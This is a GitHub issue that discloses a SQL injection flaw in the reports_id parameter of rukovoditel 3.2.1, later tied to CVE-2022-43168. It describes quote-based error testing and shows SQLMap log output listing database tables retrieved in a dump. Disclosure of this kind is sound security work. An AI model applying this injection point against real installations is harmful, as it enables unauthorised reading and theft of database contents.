

New issue

[Jump to bottom](#)

# SQL injection Vulnerability on "reports\_id" in rukovoditel 3.2.1 #1

✓ Closed anhdq201 opened this issue on Oct 8 · 1 comment

anhdq201 commented on Oct 8 • edited ▾

Owner

## Version: 3.2.1

## Description

The reports\_id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the reports\_id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared.

## Proof of Concept

Step 1: Add single quote was submitted in the reports\_id parameter, and a database error message was returned.

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays an HTTP POST request to `/index.php?module=items/listing` with various headers and a body containing search parameters. The 'Response' tab shows a 'Database Error' message: '1064 - You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''70'' at line 1'. The error message is highlighted with a red box. The 'Request' tab also shows the 'redirect to=dashboard&path=23&reports\_entities\_id=23&reports\_id=70' part of the URL, which is highlighted with a red box.

Step 2: Then add two quotes and submit the request, the error message disappears.

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays an HTTP POST request to `/index.php?module=items/listing` with various headers and a body containing search parameters. The 'Response' tab shows a successful HTTP response (200 OK) with headers and a body containing HTML content. The 'Request' tab also shows the 'redirect to=dashboard&path=23&reports\_entities\_id=23&reports\_id=70' part of the URL, which is highlighted with a red box. The 'Response' tab shows the rendered HTML content, which includes a search result table. The 'Response' tab also shows the 'redirect to=dashboard&path=23&reports\_entities\_id=23&reports\_id=70' part of the URL, which is highlighted with a red box.

Step 3: Use SQLMap to dump full database.

```
C:\Windows\System32\cmd.exe
[23:29:06] [INFO] retrieved: 'app_help_pages'
[23:29:06] [INFO] retrieved: 'app_holidays'
[23:29:06] [INFO] retrieved: 'app_image_map_labels'
[23:29:06] [INFO] retrieved: 'app_image_map_markers'
[23:29:06] [INFO] retrieved: 'app_image_map_markers_nested'
[23:29:06] [INFO] retrieved: 'app_items_export_templates'
[23:29:07] [INFO] retrieved: 'app_listing_highlight_rules'
[23:29:07] [INFO] retrieved: 'app_listing_sections'
[23:29:07] [INFO] retrieved: 'app_listing_types'
[23:29:07] [INFO] retrieved: 'app_logs'
[23:29:07] [INFO] retrieved: 'app_mind_map'
[23:29:07] [INFO] retrieved: 'app_portlets'
[23:29:07] [INFO] retrieved: 'app_records_visibility_rules'
[23:29:07] [INFO] retrieved: 'app_reports'
[23:29:07] [INFO] retrieved: 'app_reports_filters'
[23:29:07] [INFO] retrieved: 'app_reports_filters_templates'
[23:29:07] [INFO] retrieved: 'app_reports_groups'
[23:29:07] [INFO] retrieved: 'app_reports_sections'
[23:29:07] [INFO] retrieved: 'app_sessions'
[23:29:07] [INFO] retrieved: 'app_users_alerts'
[23:29:07] [INFO] retrieved: 'app_users_alerts_viewed'
[23:29:08] [INFO] retrieved: 'app_users_configuration'
[23:29:08] [INFO] retrieved: 'app_users_filters'
[23:29:08] [INFO] retrieved: 'app_users_login_log'
[23:29:08] [INFO] retrieved: 'app_users_notifications'
[23:29:08] [INFO] retrieved: 'app_users_search_settings'
[23:29:08] [INFO] retrieved: 'app_user_filters_values'
[23:29:08] [INFO] retrieved: 'app_user_roles'
[23:29:08] [INFO] retrieved: 'app_user_roles_access'
[23:29:08] [INFO] retrieved: 'app user roles to items'
```

## Impact

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

A wide range of damaging attacks can often be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and taking control of the database server.

Repository owner locked and limited conversation to collaborators on Oct 8

Repository owner unlocked this conversation on Oct 8

 anhdq201 closed this as completed on Oct 9

 anhdq201 reopened this on Oct 23

anhdq201 commented 24 days ago

Owner

Author

[CVE-2022-43168](#)



anhdq201 closed this as completed 24 days ago

---

#### Assignees

No one assigned

---

#### Labels

None yet

---

#### Projects

None yet

---

#### Milestone

No milestone

---

#### Development

No branches or pull requests

---

1 participant

